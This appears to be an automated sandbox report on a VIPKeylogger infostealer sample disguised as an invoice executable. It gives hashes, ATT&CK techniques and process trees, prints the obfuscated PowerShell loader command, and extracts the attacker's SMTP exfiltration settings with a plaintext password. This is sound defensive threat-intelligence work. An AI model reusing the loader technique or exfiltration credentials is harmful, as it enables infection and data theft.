vipkeylogger | 934801a22972a860d0f209cb42a91b6f4dc6ae8ea60b1f6a5ae959b0c5dd4a94

Analysis

max time kernel
147s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
24/02/2025, 18:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Invoice Pending Payment.exe
Size

495KB
MD5

e70e71a31781b44f850a39693784ce74
SHA1

ce8cf2dc1b30d5d6870cc3d374c15e1005fdc879
SHA256

a02b56b4c74424b72ae21d4737e822653e68b9762e1aeb313d81bd45abce39e7
SHA512

2a7994cec6638f7ff523358e7df0bfddad0f2abaef89e598455e9f0b7a44009e139ac9f9afd7ac38377ed302727c5c75322327b8fabf0b450835cdbb5c52a9a8
SSDEEP

12288:yQeEJFJYJbJPeJyxJxWJiJfJcJWJSJaJ2J/JSJFJ8JjJcJHJQJoXJSJAhwjJTJZx:cEJFJYJbJPeJyxJxWJiJfJcJWJSJaJ2p

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
s46S2&4+
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Loads dropped DLL 1 IoCs

pid	Process
4960	Invoice Pending Payment.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 9 IoCs

flow	pid	Process
2	1996	msiexec.exe
4	1996	msiexec.exe
5	1996	msiexec.exe
6	1996	msiexec.exe
7	1996	msiexec.exe
9	1996	msiexec.exe
10	1996	msiexec.exe
11	1996	msiexec.exe
13	1996	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	drive.google.com
1	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.dyndns.org
8	reallyfreegeoip.org
11	reallyfreegeoip.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1996	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1048	powershell.exe
1996	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1048	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Invoice Pending Payment.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1996	msiexec.exe
1996	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1048	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeIncreaseQuotaPrivilege	1048	powershell.exe
Token: SeSecurityPrivilege	1048	powershell.exe
Token: SeTakeOwnershipPrivilege	1048	powershell.exe
Token: SeLoadDriverPrivilege	1048	powershell.exe
Token: SeSystemProfilePrivilege	1048	powershell.exe
Token: SeSystemtimePrivilege	1048	powershell.exe
Token: SeProfSingleProcessPrivilege	1048	powershell.exe
Token: SeIncBasePriorityPrivilege	1048	powershell.exe
Token: SeCreatePagefilePrivilege	1048	powershell.exe
Token: SeBackupPrivilege	1048	powershell.exe
Token: SeRestorePrivilege	1048	powershell.exe
Token: SeShutdownPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeSystemEnvironmentPrivilege	1048	powershell.exe
Token: SeRemoteShutdownPrivilege	1048	powershell.exe
Token: SeUndockPrivilege	1048	powershell.exe
Token: SeManageVolumePrivilege	1048	powershell.exe
Token: 33	1048	powershell.exe
Token: 34	1048	powershell.exe
Token: 35	1048	powershell.exe
Token: 36	1048	powershell.exe
Token: SeDebugPrivilege	1996	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 1048	4960	Invoice Pending Payment.exe	82
PID 4960 wrote to memory of 1048	4960	Invoice Pending Payment.exe	82
PID 4960 wrote to memory of 1048	4960	Invoice Pending Payment.exe	82
PID 1048 wrote to memory of 1996	1048	powershell.exe	85
PID 1048 wrote to memory of 1996	1048	powershell.exe	85
PID 1048 wrote to memory of 1996	1048	powershell.exe	85
PID 1048 wrote to memory of 1996	1048	powershell.exe	85

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\Invoice Pending Payment.exe
"C:\Users\Admin\AppData\Local\Temp\Invoice Pending Payment.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Bibrd=gc -Raw 'C:\Users\Admin\AppData\Roaming\Kalkvrksarbejderen84\chego\reverensens\Defmrkede\Crossbeam.Dec122';$Antiodont=$Bibrd.SubString(60335,3);.$Antiodont($Bibrd)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:1996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wllohiyy.chz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nskA019.tmp\nsExec.dll

Filesize
6KB

MD5
51e63a9c5d6d230ef1c421b2eccd45dc

SHA1
c499cdad5c613d71ed3f7e93360f1bbc5748c45d

SHA256
cd8496a3802378391ec425dec424a14f5d30e242f192ec4eb022d767f9a2480f

SHA512
c23d713c3c834b3397c2a199490aed28f28d21f5781205c24df5e1e32365985c8a55be58f06979df09222740ffa51f4da764ebc3d912cd0c9d56ab6a33cab522

Download Submit
C:\Users\Admin\AppData\Roaming\Kalkvrksarbejderen84\chego\reverensens\Defmrkede\Crossbeam.Dec122

Filesize
58KB

MD5
798e71f2fb7aeccbf532d4b9c7484b56

SHA1
d22784524ac6412395f51a3fd3fe0cfba04f034c

SHA256
1669d04c0289873aa79409ac3522a90ce116740f52c11eb8833aaf5c8908acb8

SHA512
29f868a51ac1b4c25a4a7d1fad093e6fccc3adc762f8fa791c8e728aaf16a26ce0e43cdf45f955d0152d94ccff514776426bfb9a088cebf77ef9521a642606bf

Download Submit
C:\Users\Admin\AppData\Roaming\Kalkvrksarbejderen84\chego\reverensens\Defmrkede\Yderredens102.Kan

Filesize
330KB

MD5
a4dd91d5acfa3d8154510a16a27792df

SHA1
7f797beecc8609a7b617a7ccd6ba8a335d475a47

SHA256
5ae90ee62220502c1041b177854398c94b9f42f6115ce6fca120b7c0702c0286

SHA512
8f119081cf9625f036ac4783a7d127d25e8bf82bc6febe804edac2d18b71b9e85ab2c26cb04aa1a28a47cc1d49bd0676d486fea917ca872b7c2e43a6af889c07

Download Submit
memory/1048-12-0x00000000739FE000-0x00000000739FF000-memory.dmp

Filesize
4KB

Download
memory/1048-13-0x0000000004D00000-0x0000000004D36000-memory.dmp

Filesize
216KB

Download
memory/1048-14-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-15-0x0000000005370000-0x000000000599A000-memory.dmp

Filesize
6.2MB

Download
memory/1048-16-0x00000000052B0000-0x00000000052D2000-memory.dmp

Filesize
136KB

Download
memory/1048-17-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/1048-18-0x0000000005C00000-0x0000000005C66000-memory.dmp

Filesize
408KB

Download
memory/1048-27-0x0000000005C70000-0x0000000005FC7000-memory.dmp

Filesize
3.3MB

Download
memory/1048-28-0x0000000006160000-0x000000000617E000-memory.dmp

Filesize
120KB

Download
memory/1048-29-0x00000000061B0000-0x00000000061FC000-memory.dmp

Filesize
304KB

Download
memory/1048-32-0x0000000006710000-0x0000000006732000-memory.dmp

Filesize
136KB

Download
memory/1048-31-0x0000000006670000-0x000000000668A000-memory.dmp

Filesize
104KB

Download
memory/1048-30-0x0000000007420000-0x00000000074B6000-memory.dmp

Filesize
600KB

Download
memory/1048-33-0x0000000007A70000-0x0000000008016000-memory.dmp

Filesize
5.6MB

Download
memory/1048-35-0x00000000086A0000-0x0000000008D1A000-memory.dmp

Filesize
6.5MB

Download
memory/1048-36-0x0000000007580000-0x00000000075B4000-memory.dmp

Filesize
208KB

Download
memory/1048-46-0x00000000075E0000-0x00000000075FE000-memory.dmp

Filesize
120KB

Download
memory/1048-37-0x00000000703A0000-0x00000000703EC000-memory.dmp

Filesize
304KB

Download
memory/1048-47-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-48-0x0000000007610000-0x00000000076B4000-memory.dmp

Filesize
656KB

Download
memory/1048-49-0x0000000007710000-0x000000000771A000-memory.dmp

Filesize
40KB

Download
memory/1048-50-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-51-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-52-0x00000000078B0000-0x00000000078C1000-memory.dmp

Filesize
68KB

Download
memory/1048-53-0x0000000007890000-0x000000000789E000-memory.dmp

Filesize
56KB

Download
memory/1048-54-0x00000000078E0000-0x00000000078F5000-memory.dmp

Filesize
84KB

Download
memory/1048-55-0x0000000007920000-0x000000000793A000-memory.dmp

Filesize
104KB

Download
memory/1048-56-0x0000000007910000-0x0000000007918000-memory.dmp

Filesize
32KB

Download
memory/1048-58-0x0000000007990000-0x00000000079B4000-memory.dmp

Filesize
144KB

Download
memory/1048-57-0x0000000007930000-0x000000000795A000-memory.dmp

Filesize
168KB

Download
memory/1048-59-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-61-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-63-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-65-0x00000000739FE000-0x00000000739FF000-memory.dmp

Filesize
4KB

Download
memory/1048-64-0x0000000008D20000-0x000000000AA52000-memory.dmp

Filesize
29.2MB

Download
memory/1048-66-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-67-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-68-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-69-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-70-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1048-71-0x00000000739F0000-0x00000000741A1000-memory.dmp

Filesize
7.7MB

Download
memory/1996-72-0x0000000000E00000-0x0000000002117000-memory.dmp

Filesize
19.1MB

Download
memory/1996-88-0x0000000000E00000-0x0000000000E48000-memory.dmp

Filesize
288KB

Download
memory/1996-87-0x0000000000E00000-0x0000000002117000-memory.dmp

Filesize
19.1MB

Download
memory/1996-89-0x0000000021E70000-0x0000000021F0C000-memory.dmp

Filesize
624KB

Download
memory/1996-91-0x0000000022BA0000-0x0000000022D62000-memory.dmp

Filesize
1.8MB

Download
memory/1996-92-0x00000000222E0000-0x0000000022330000-memory.dmp

Filesize
320KB

Download
memory/1996-94-0x00000000229D0000-0x0000000022A62000-memory.dmp

Filesize
584KB

Download
memory/1996-95-0x00000000223C0000-0x00000000223CA000-memory.dmp

Filesize
40KB

Download